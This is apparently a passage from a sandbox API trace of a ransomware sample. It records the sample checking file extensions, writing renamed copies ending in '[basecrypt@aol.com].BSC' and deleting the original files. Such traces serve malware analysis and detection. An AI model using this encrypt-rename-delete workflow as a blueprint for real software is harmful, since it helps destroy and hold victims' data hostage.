lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0103.747] lstrlenW (lpString=".jpg") returned 4 [0103.747] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.747] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0103.747] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0103.747] lstrlenW (lpString=".doc") returned 4 [0103.747] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.747] lstrlenW (lpString=".docx") returned 5 [0103.747] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.747] lstrlenW (lpString=".pdf") returned 4 [0103.747] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.747] lstrlenW (lpString=".xls") returned 4 [0103.748] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.748] lstrlenW (lpString=".xlsx") returned 5 [0103.748] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.748] lstrlenW (lpString=".ppt") returned 4 [0103.748] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0103.748] lstrlenW (lpString=".zip") returned 4 [0103.748] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.748] lstrlenW (lpString=".rar") returned 4 [0103.748] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.748] lstrlenW (lpString=".bz2") returned 4 [0103.748] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.748] lstrlenW (lpString=".7z") returned 3 [0103.748] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0103.748] lstrlenW (lpString=".dbf") returned 4 [0103.748] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0103.748] lstrlenW (lpString=".1cd") returned 4 [0103.749] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0103.749] lstrlenW (lpString=".jpg") returned 4 [0103.749] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.749] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.749] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0103.749] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0103.749] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=201796) returned 1 [0103.749] CloseHandle (hObject=0x33c) returned 1 [0103.749] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0103.750] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.750] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0103.750] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.750] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.750] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0103.755] GetLastError () returned 0x0 [0103.755] ReadFile (in: hFile=0x33c, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x31444, lpOverlapped=0x0) returned 1 [0103.910] WriteFile (in: hFile=0x344, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x31450, lpOverlapped=0x0) returned 1 [0103.914] ReadFile (in: hFile=0x33c, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.914] WriteFile (in: hFile=0x344, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.914] SetEndOfFile (hFile=0x344) returned 1 [0103.941] CloseHandle (hObject=0x344) returned 1 [0103.946] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.946] SetEndOfFile (hFile=0x33c) returned 1 [0103.948] CloseHandle (hObject=0x33c) returned 1 [0103.948] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.949] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0103.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0103.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0103.949] lstrlenW (lpString=".doc") returned 4 [0103.949] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.949] lstrlenW (lpString=".docx") returned 5 [0103.949] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0103.949] lstrlenW (lpString=".pdf") returned 4 [0103.949] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.949] lstrlenW (lpString=".xls") returned 4 [0103.949] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.949] lstrlenW (lpString=".xlsx") returned 5 [0103.949] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0103.949] lstrlenW (lpString=".ppt") returned 4 [0103.949] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0103.949] lstrlenW (lpString=".zip") returned 4 [0103.949] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.950] lstrlenW (lpString=".rar") returned 4 [0103.950] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.950] lstrlenW (lpString=".bz2") returned 4 [0103.950] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.950] lstrlenW (lpString=".7z") returned 3 [0103.950] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0103.950] lstrlenW (lpString=".dbf") returned 4 [0103.950] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0103.950] lstrlenW (lpString=".1cd") returned 4 [0103.950] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0103.950] lstrlenW (lpString=".jpg") returned 4 [0103.950] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0103.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0103.950] lstrlenW (lpString=".doc") returned 4 [0103.950] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.950] lstrlenW (lpString=".docx") returned 5 [0103.950] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0103.950] lstrlenW (lpString=".pdf") returned 4 [0103.950] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.950] lstrlenW (lpString=".xls") returned 4 [0103.951] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.951] lstrlenW (lpString=".xlsx") returned 5 [0103.951] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0103.951] lstrlenW (lpString=".ppt") returned 4 [0103.951] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0103.951] lstrlenW (lpString=".zip") returned 4 [0103.951] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.951] lstrlenW (lpString=".rar") returned 4 [0103.951] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.951] lstrlenW (lpString=".bz2") returned 4 [0103.951] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.951] lstrlenW (lpString=".7z") returned 3 [0103.951] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0103.951] lstrlenW (lpString=".dbf") returned 4 [0103.951] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0103.951] lstrlenW (lpString=".1cd") returned 4 [0103.951] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0103.952] lstrlenW (lpString=".jpg") returned 4 [0103.952] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.952] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.952] lstrlenW (lpString="UiInfo.xml") returned 10 [0103.952] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0103.955] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=39050) returned 1 [0103.955] CloseHandle (hObject=0x2e0) returned 1 [0103.955] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0103.955] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.955] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0103.955] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.956] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.956] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0103.977] GetLastError () returned 0x0 [0103.977] ReadFile (in: hFile=0x2e0, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x988a, lpOverlapped=0x0) returned 1 [0104.209] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x9890, lpOverlapped=0x0) returned 1 [0104.211] ReadFile (in: hFile=0x2e0, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0104.211] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xe8, lpOverlapped=0x0) returned 1 [0104.211] SetEndOfFile (hFile=0x334) returned 1 [0104.211] CloseHandle (hObject=0x334) returned 1 [0104.213] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.213] SetEndOfFile (hFile=0x2e0) returned 1 [0104.214] CloseHandle (hObject=0x2e0) returned 1 [0104.214] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0104.214] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0104.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.215] lstrlenW (lpString=".doc") returned 4 [0104.215] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.215] lstrlenW (lpString=".docx") returned 5 [0104.215] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.215] lstrlenW (lpString=".pdf") returned 4 [0104.215] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.215] lstrlenW (lpString=".xls") returned 4 [0104.215] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.215] lstrlenW (lpString=".xlsx") returned 5 [0104.215] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.215] lstrlenW (lpString=".ppt") returned 4 [0104.215] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.215] lstrlenW (lpString=".zip") returned 4 [0104.215] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.215] lstrlenW (lpString=".rar") returned 4 [0104.215] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.215] lstrlenW (lpString=".bz2") returned 4 [0104.216] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.216] lstrlenW (lpString=".7z") returned 3 [0104.216] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.216] lstrlenW (lpString=".dbf") returned 4 [0104.216] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.216] lstrlenW (lpString=".1cd") returned 4 [0104.216] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.216] lstrlenW (lpString=".jpg") returned 4 [0104.216] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.216] lstrlenW (lpString=".doc") returned 4 [0104.216] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.216] lstrlenW (lpString=".docx") returned 5 [0104.216] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.216] lstrlenW (lpString=".pdf") returned 4 [0104.216] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.216] lstrlenW (lpString=".xls") returned 4 [0104.216] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.216] lstrlenW (lpString=".xlsx") returned 5 [0104.216] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.217] lstrlenW (lpString=".ppt") returned 4 [0104.217] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.217] lstrlenW (lpString=".zip") returned 4 [0104.217] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.217] lstrlenW (lpString=".rar") returned 4 [0104.217] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.217] lstrlenW (lpString=".bz2") returned 4 [0104.217] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.217] lstrlenW (lpString=".7z") returned 3 [0104.217] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.217] lstrlenW (lpString=".dbf") returned 4 [0104.217] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.218] lstrlenW (lpString=".1cd") returned 4 [0104.218] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.218] lstrlenW (lpString=".jpg") returned 4 [0104.218] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.218] lstrcmpiW (lpString1=".bmp", lpString2=".BSC") returned -1 [0104.218] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0104.218] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0104.219] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=41080) returned 1 [0104.219] CloseHandle (hObject=0x2e0) returned 1 [0104.219] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0104.219] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0104.219] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0104.219] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.219] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.219] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0104.219] GetLastError () returned 0x0 [0104.219] ReadFile (in: hFile=0x2e0, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0xa078, lpOverlapped=0x0) returned 1 [0104.338] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xa080, lpOverlapped=0x0) returned 1 [0104.340] ReadFile (in: hFile=0x2e0, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0104.340] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xf4, lpOverlapped=0x0) returned 1 [0104.340] SetEndOfFile (hFile=0x334) returned 1 [0104.340] CloseHandle (hObject=0x334) returned 1 [0104.342] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.342] SetEndOfFile (hFile=0x2e0) returned 1 [0104.343] CloseHandle (hObject=0x2e0) returned 1 [0104.344] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0104.344] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0104.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.344] lstrlenW (lpString=".doc") returned 4 [0104.344] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0104.344] lstrlenW (lpString=".docx") returned 5 [0104.344] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0104.345] lstrlenW (lpString=".pdf") returned 4 [0104.345] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0104.345] lstrlenW (lpString=".xls") returned 4 [0104.345] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0104.345] lstrlenW (lpString=".xlsx") returned 5 [0104.345] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0104.345] lstrlenW (lpString=".ppt") returned 4 [0104.345] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0104.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.345] lstrlenW (lpString=".zip") returned 4 [0104.345] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0104.345] lstrlenW (lpString=".rar") returned 4 [0104.345] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0104.345] lstrlenW (lpString=".bz2") returned 4 [0104.345] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0104.345] lstrlenW (lpString=".7z") returned 3 [0104.345] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0104.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.345] lstrlenW (lpString=".dbf") returned 4 [0104.345] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0104.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.345] lstrlenW (lpString=".1cd") returned 4 [0104.345] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0104.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.345] lstrlenW (lpString=".jpg") returned 4 [0104.345] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0104.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.346] lstrlenW (lpString=".doc") returned 4 [0104.346] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0104.346] lstrlenW (lpString=".docx") returned 5 [0104.346] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0104.346] lstrlenW (lpString=".pdf") returned 4 [0104.346] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0104.346] lstrlenW (lpString=".xls") returned 4 [0104.346] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0104.346] lstrlenW (lpString=".xlsx") returned 5 [0104.346] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0104.346] lstrlenW (lpString=".ppt") returned 4 [0104.346] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0104.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.346] lstrlenW (lpString=".zip") returned 4 [0104.346] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0104.346] lstrlenW (lpString=".rar") returned 4 [0104.346] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0104.346] lstrlenW (lpString=".bz2") returned 4 [0104.346] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0104.346] lstrlenW (lpString=".7z") returned 3 [0104.346] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0104.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.346] lstrlenW (lpString=".dbf") returned 4 [0104.347] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0104.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.347] lstrlenW (lpString=".1cd") returned 4 [0104.347] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0104.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.347] lstrlenW (lpString=".jpg") returned 4 [0104.347] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0104.347] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0104.347] lstrlenW (lpString="UiInfo.xml") returned 10 [0104.347] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0104.347] 